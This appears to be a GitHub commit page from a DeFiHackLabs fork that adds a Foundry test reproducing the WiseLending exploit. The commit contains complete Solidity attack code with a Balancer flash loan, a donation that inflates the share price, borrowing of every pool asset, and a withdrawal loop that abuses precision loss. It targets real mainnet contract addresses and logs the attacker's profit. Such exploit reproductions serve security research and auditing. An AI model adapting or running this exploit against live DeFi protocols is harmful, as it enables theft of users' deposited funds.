forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 3
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
11412a8
commit 32af658
Showing
2 changed files
with
203 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,178 @@ | ||
// SPDX-License-Identifier: UNLICENSED | ||
pragma solidity ^0.8.10; | ||
|
||
import "forge-std/Test.sol"; | ||
import "./interface.sol"; | ||
|
||
// @KeyInfo - Total Lost : ~260K USD$ | ||
// Attacker : c0ffeebabe.eth (wihtehat) | ||
// Attack Contract : https://etherscan.io/address/0x3aa228a80f50763045bdfc45012da124bd0a6809 (Mev Contract) | ||
// Vulnerable Contract : https://etherscan.io/address/0x84524baa1951247b3a2617a843e6ece915bb9674 | ||
// Attack Tx :https://etherscan.io/tx/0x7ac4a98599596adbf12fffa2bd23e2a2d2ac7e8989b6ea043fcc412a29126555 | ||
|
||
// @Info | ||
// Vulnerable Contract Code : https://etherscan.io/address/0x84524baa1951247b3a2617a843e6ece915bb9674#code | ||
|
||
// @Analysis | ||
// Post-mortem : https://www.google.com/ | ||
// Twitter Guy : https://twitter.com/bbbb/status/1712841315522638034 | ||
// Twitter Guy : https://twitter.com/BlockSecTeam/status/1712871304993689709 | ||
// Hacking God : https://www.google.com/ | ||
|
||
interface IPositionNFTs { | ||
function mintPositionForUser(address _user) external returns (uint256); | ||
} | ||
|
||
interface IWiseLending { | ||
function getTotalDepositShares(address _poolToken) external view returns (uint256); | ||
function getPseudoTotalPool(address _poolToken) external view returns (uint256); | ||
function depositExactAmount(uint256 _nftId, address _poolToken, uint256 _amount) external returns (uint256); | ||
function borrowExactAmount(uint256 _nftId, address _poolToken, uint256 _amount) external returns (uint256); | ||
function withdrawExactAmount(uint256 _nftId, address _poolToken, uint256 _amount) external returns (uint256); | ||
} | ||
|
||
contract ContractTest is Test { | ||
IERC20 WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); | ||
IERC20 wstETH = IERC20(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0); | ||
IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); | ||
IERC20 aEthWETH = IERC20(0x4d5F47FA6A74757f35C14fD3a6Ef8E3C9BC514E8); | ||
IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); | ||
IERC20 sDAI = IERC20(0x83F20F44975D03b1b09e64809B757c47f942BEeA); | ||
IERC20 aEthDAI = IERC20(0x018008bfb33d285247A21d44E50697654f754e63); | ||
IERC20 aEthUSDC = IERC20(0x98C23E9d8f34FEFb1B7BD6a91B7FF122F4e16F5c); | ||
IERC20 aEthUSDT = IERC20(0x23878914EFE38d27C4D67Ab83ed1b93A74D4086a); | ||
IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); | ||
IPositionNFTs PositionNFTs = IPositionNFTs(0x9D6d4e2AfAB382ae9B52807a4B36A8d2Afc78b07); | ||
IWiseLending WiseLending = IWiseLending(0x84524bAa1951247b3A2617A843e6eCe915Bb9674); | ||
Uni_Pair_V3 WETH_WBTC_Pair = Uni_Pair_V3(0xCBCdF9626bC03E24f779434178A73a0B4bad62eD); | ||
IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8); | ||
Recover recover; | ||
|
||
function setUp() public { | ||
vm.createSelectFork("mainnet", 18_342_120); | ||
vm.label(address(WBTC), "WBTC"); | ||
vm.label(address(wstETH), "wstETH"); | ||
vm.label(address(WETH), "WETH"); | ||
vm.label(address(aEthWETH), "aEthWETH"); | ||
vm.label(address(DAI), "DAI"); | ||
vm.label(address(sDAI), "sDAI"); | ||
vm.label(address(aEthDAI), "aEthDAI"); | ||
vm.label(address(aEthUSDC), "aEthUSDC"); | ||
vm.label(address(aEthUSDT), "aEthUSDT"); | ||
vm.label(address(USDC), "USDC"); | ||
vm.label(address(PositionNFTs), "PositionNFTs"); | ||
vm.label(address(WiseLending), "WiseLending"); | ||
vm.label(address(WETH_WBTC_Pair), "WETH_WBTC_Pair"); | ||
vm.label(address(Balancer), "Balancer"); | ||
} | ||
|
||
function testExploit() public { | ||
WBTC.approve(address(WiseLending), type(uint256).max); | ||
|
||
address[] memory tokens = new address[](1); | ||
tokens[0] = address(WBTC); | ||
uint256[] memory amounts = new uint256[](1); | ||
amounts[0] = 50 * 1e8; | ||
bytes memory userData = ""; | ||
Balancer.flashLoan(address(this), tokens, amounts, userData); | ||
|
||
profitLog(); | ||
} | ||
|
||
function receiveFlashLoan( | ||
address[] memory tokens, | ||
uint256[] memory amounts, | ||
uint256[] memory feeAmounts, | ||
bytes memory userData | ||
) external { | ||
recover = new Recover(); | ||
uint256 recoverID = recover.init(); // open recover position | ||
|
||
uint256 borrowerID = PositionNFTs.mintPositionForUser(address(this)); // open borrower position | ||
|
||
WiseLending.depositExactAmount(recoverID, address(WBTC), 1); // deposit 1 WBTC to recover, mint 1 share | ||
WiseLending.depositExactAmount(borrowerID, address(WBTC), 1); // deposit 1 WBTC to borrower, mint 1 share | ||
|
||
WBTC.transfer(address(WiseLending), 50 * 1e8 - 2); // donate ~50 WBTC to WiseLending, inflate share price | ||
|
||
borrowAll(borrowerID); | ||
|
||
recover.recover(); // recover donated WBTC | ||
|
||
int256 swapAmount = -int256(amounts[0] - WBTC.balanceOf(address(this))); | ||
WETH_WBTC_Pair.swap( | ||
address(this), false, swapAmount, uint160(35_991_486_685_722_499_892_781_286_346_438_453), "" | ||
); // swap WETH to WBTC | ||
WBTC.transfer(address(Balancer), amounts[0]); // repay flash loan | ||
} | ||
|
||
function borrowAll(uint256 id) internal { | ||
WiseLending.borrowExactAmount(id, address(wstETH), 33_538_664_799_002_267_467); // inflate share price in modifier , borrow all wstETH | ||
WiseLending.borrowExactAmount(id, address(WETH), 339_996_372_423_526_589); | ||
WiseLending.borrowExactAmount(id, address(aEthWETH), 98_969_695_913_405_122_899); | ||
WiseLending.borrowExactAmount(id, address(DAI), 200_094_287_736_946_980_059); | ||
WiseLending.borrowExactAmount(id, address(sDAI), 16_161_480_100_000_000_000_000); | ||
WiseLending.borrowExactAmount(id, address(aEthDAI), 1_302_840_070_263_627_457_089); | ||
WiseLending.borrowExactAmount(id, address(aEthUSDC), 5_108_839_054); | ||
WiseLending.borrowExactAmount(id, address(aEthUSDT), 26_082_605_241); | ||
WiseLending.borrowExactAmount(id, address(USDC), 50_000_000); | ||
} | ||
|
||
function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external { | ||
WETH.transfer(address(WETH_WBTC_Pair), uint256(amount1Delta)); | ||
} | ||
|
||
function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) { | ||
return this.onERC721Received.selector; | ||
} | ||
|
||
function profitLog() internal { | ||
emit log_named_decimal_uint( | ||
"Attacker wstETH balance after exploit", wstETH.balanceOf(address(this)), wstETH.decimals() | ||
); | ||
emit log_named_decimal_uint( | ||
"Attacker aEthWETH balance after exploit", aEthWETH.balanceOf(address(this)), aEthWETH.decimals() | ||
); | ||
emit log_named_decimal_uint("Attacker DAI balance after exploit", DAI.balanceOf(address(this)), DAI.decimals()); | ||
emit log_named_decimal_uint( | ||
"Attacker sDAI balance after exploit", sDAI.balanceOf(address(this)), sDAI.decimals() | ||
); | ||
emit log_named_decimal_uint( | ||
"Attacker aEthDAI balance after exploit", aEthDAI.balanceOf(address(this)), aEthDAI.decimals() | ||
); | ||
emit log_named_decimal_uint( | ||
"Attacker aEthUSDC balance after exploit", aEthUSDC.balanceOf(address(this)), aEthUSDC.decimals() | ||
); | ||
emit log_named_decimal_uint( | ||
"Attacker aEthUSDT balance after exploit", aEthUSDT.balanceOf(address(this)), aEthUSDT.decimals() | ||
); | ||
emit log_named_decimal_uint( | ||
"Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals() | ||
); | ||
} | ||
} | ||
|
||
contract Recover { | ||
IPositionNFTs PositionNFTs = IPositionNFTs(0x9D6d4e2AfAB382ae9B52807a4B36A8d2Afc78b07); | ||
IWiseLending WiseLending = IWiseLending(0x84524bAa1951247b3A2617A843e6eCe915Bb9674); | ||
IERC20 WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); | ||
uint256 public positionID; | ||
|
||
function init() external returns (uint256) { | ||
positionID = PositionNFTs.mintPositionForUser(address(this)); | ||
return positionID; | ||
} | ||
|
||
function recover() external { | ||
while (WiseLending.getPseudoTotalPool(address(WBTC)) > 2_000_000) { | ||
uint256 recoverAmount = | ||
(WiseLending.getPseudoTotalPool(address(WBTC)) - 1) / WiseLending.getTotalDepositShares(address(WBTC)); // withdraw share amount = 0 due to precision loss | ||
WiseLending.withdrawExactAmount(positionID, address(WBTC), recoverAmount); | ||
} | ||
WBTC.transfer(msg.sender, WBTC.balanceOf(address(this))); | ||
} | ||
|
||
function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) { | ||
return this.onERC721Received.selector; | ||
} | ||
} |